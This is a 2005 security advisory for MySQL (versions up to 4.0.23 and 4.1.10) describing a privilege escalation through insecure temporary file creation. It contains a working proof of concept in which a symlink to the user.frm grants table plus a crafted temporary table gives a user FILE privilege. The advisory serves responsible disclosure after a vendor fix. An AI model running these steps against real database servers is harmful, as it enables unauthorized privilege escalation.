The WIse SECurity
| .italian .english |
Servizi alle Aziende
|
Mysql insecure temporary file creation with CREATE TEMPORARY TABLE privilege escalation
Title:Mysql insecure temporary file creation with CREATE TEMPORARY TABLE privilege escalationAuthor:Stefano Di PaolaVulnerable:MySQL <= 4.0.23, 4.1.10Type of Vulnerability:Local insecure temporary file creationTested On :Mandrake 10.1 /Debian SargeVendor Status:Notified on March, 2nd 2005, Confirmed on 3rd March 2005, New versions released on 11th March 2005Resources:Published on VulnwatchDescriptionIf an authenticated user has CREATE TEMPORARY TABLE privileges on any existent database, a symlink attack is possible. The problem resides in the fact that MySql: 1. uses a predictable name when creates temporary files: mysql_priv.h: 251: #define tmp_file_prefix "#sql" /* Prefix for tmp tables */ sql_table.cc: 724: if (create_info->options & HA_LEX_CREATE_TMP_TABLE) 725: { -> 726: sprintf(path,"%s%s%lx_%lx_%x%s",mysql_tmpdir,tmp_file_prefix, -> 727: current_pid, thd->thread_id, thd->tmp_table++,reg_ext); -> 728: create_info->table_options|=HA_CREATE_DELAY_KEY_WRITE; 729: } 730: else 731: (void) sprintf(path,"%s/%s/%s% s",mysql_data_home,db,alias,reg_ext); if is a temporary table, a temporary filename is generated by using, /temp_dir/#sqlPID_THREADID_NumberIncrementedByOne.frm /temp_dir/#sqlPID_THREADID_NumberIncrementedByOne.MYI /temp_dir/#sqlPID_THREADID_NumberIncrementedByOne.MYD 2. usually (could be changed) it creates such temporary files in a temporary directory with sticky bit on (/tmp or /var/tmp), accessible by all users. Poc: User table will be our target, but the only thing we can change is the declaration table user.frm as the other files .MYI and .MYD are in a different format (it seems). Let's authenticate and use a DB on which we have CREATE TEMPORARY table access. $ mysql -u user -p test mysql> CREATE TEMPORARY TABLE tmp_table (tmp_field VARCHAR(1)); Query OK, 0 rows affected (0.05 sec) mysql> system ls /tmp/#sql* -l -rw-rw---- 1 mysql mysql 8564 gen 30 13:31 #sql1d05_4_0.frm -rw-rw---- 1 mysql mysql 0 gen 30 13:31 #sql1d05_4_0.MYD -rw-rw---- 1 mysql mysql 1024 gen 30 13:31 #sql1d05_4_0.MYI mysql>system ln -s /var/lib/mysql/mysql/user.frm /tmp/#sql1d05_4_1.frm mysql>system ls /tmp/#sql* -l -rw-rw---- 1 mysql mysql 8564 gen 30 13:31 #sql1d05_4_0.frm -rw-rw---- 1 mysql mysql 0 gen 30 13:31 #sql1d05_4_0.MYD -rw-rw---- 1 mysql mysql 1024 gen 30 13:31 #sql1d05_4_0.MYI lrwxrwxrwx 1 stefano stefano 29 gen 30 13:38 #sql1d05_4_1.frm -> /var/lib/mysql/mysql/user.frm mysql> Now we have a symlink on user.frm. Now we will create a tmp table with File_Priv ENUM FIELD privilege inverted. This will allow us to have privileges where we hadn't before. mysql> CREATE TEMPORARY TABLE user ( -> Host char(60) binary DEFAULT '' NOT NULL, -> User char(16) binary DEFAULT '' NOT NULL, -> Password char(16) binary DEFAULT '' NOT NULL, -> Select_priv enum('N','Y') DEFAULT 'N' NOT NULL, -> Insert_priv enum('N','Y') DEFAULT 'N' NOT NULL, -> Update_priv enum('N','Y') DEFAULT 'N' NOT NULL, -> Delete_priv enum('N','Y') DEFAULT 'N' NOT NULL, -> Create_priv enum('N','Y') DEFAULT 'N' NOT NULL, -> Drop_priv enum('N','Y') DEFAULT 'N' NOT NULL, -> Reload_priv enum('N','Y') DEFAULT 'N' NOT NULL, -> Shutdown_priv enum('N','Y') DEFAULT 'N' NOT NULL, -> Process_priv enum('N','Y') DEFAULT 'N' NOT NULL, -> File_priv enum('Y','N') DEFAULT 'N' NOT NULL, /*<-- look here*/ -> Grant_priv enum('N','Y') DEFAULT 'N' NOT NULL, -> References_priv enum('N','Y') DEFAULT 'N' NOT NULL, -> Index_priv enum('N','Y') DEFAULT 'N' NOT NULL, -> Alter_priv enum('N','Y') DEFAULT 'N' NOT NULL, -> Show_db_priv enum('N','Y') DEFAULT 'N' NOT NULL, -> Super_priv enum('N','Y') DEFAULT 'N' NOT NULL, -> Create_tmp_table_priv enum('N','Y') DEFAULT 'N' NOT NULL, -> Lock_tables_priv enum('N','Y') DEFAULT 'N' NOT NULL, -> Execute_priv enum('N','Y') DEFAULT 'N' NOT NULL, -> Repl_slave_priv enum('N','Y') DEFAULT 'N' NOT NULL, -> Repl_client_priv enum('N','Y') DEFAULT 'N' NOT NULL, -> ssl_type enum('','ANY','X509', 'SPECIFIED') DEFAULT '' NOT NULL, -> ssl_cipher BLOB NOT NULL, -> x509_issuer BLOB NOT NULL, -> x509_subject BLOB NOT NULL, -> max_questions int(11) unsigned DEFAULT 0 NOT NULL, -> max_updates int(11) unsigned DEFAULT 0 NOT NULL, -> max_connections int(11) unsigned DEFAULT 0 NOT NULL, -> PRIMARY KEY Host (Host,User) -> ) type = MYISAM -> comment='Users and global privileges'; Query OK, 0 rows affected (0.15 sec) mysql> system ls /tmp/#sql* -l -rw-rw---- 1 mysql mysql 8564 gen 30 13:31 /tmp/#sql1d05_4_0.frm -rw-rw---- 1 mysql mysql 0 gen 30 13:31 /tmp/#sql1d05_4_0.MYD -rw-rw---- 1 mysql mysql 1024 gen 30 13:31 /tmp/#sql1d05_4_0.MYI lrwxrwxrwx 1 stefano stefano 29 gen 30 13:38 /tmp/#sql1d05_4_1.frm -> /var/lib/mysql/mysql/user.frm -rw-rw---- 1 mysql mysql 0 gen 30 13:42 /tmp/#sql1d05_4_1.MYD -rw-rw---- 1 mysql mysql 1024 gen 30 13:42 /tmp/#sql1d05_4_1.MYI mysql> select * from tmp_table into outfile '/tmp/dd'; ERROR 1045: Access denied for user: 'user@localhost' (Using password: YES) mysql> quit Bye Now we should force or wait MySql to restart in order to give it the chance to re-read user table. #/etc/init.d/mysql restart $mysql -u user -p test Enter password: mysql> CREATE TEMPORARY TABLE tmp_table (tmp_field VARCHAR(1)); Query OK, 0 rows affected (0.00 sec) mysql> select * from tmp_table into outfile '/tmp/123'; Query OK, 0 rows affected (0.00 sec) mysql> system ls /tmp/123 -l -rw-rw-rw- 1 mysql mysql 0 gen 30 13:54 /tmp/123 mysql> quit Bye We got it. Florence, 11th March 2005
Wisec - Un'Idea sviluppata e mantenuta da...Wisec è scritto e mantenuto da Stefano Di Paola. Wisec usa standard aperti, inclusi XHTML, PHP e CSS2. |
Tutti i Diritti Riservati 2004
Tutti i messaggi e i metadati appartengono ai rispettivi autori.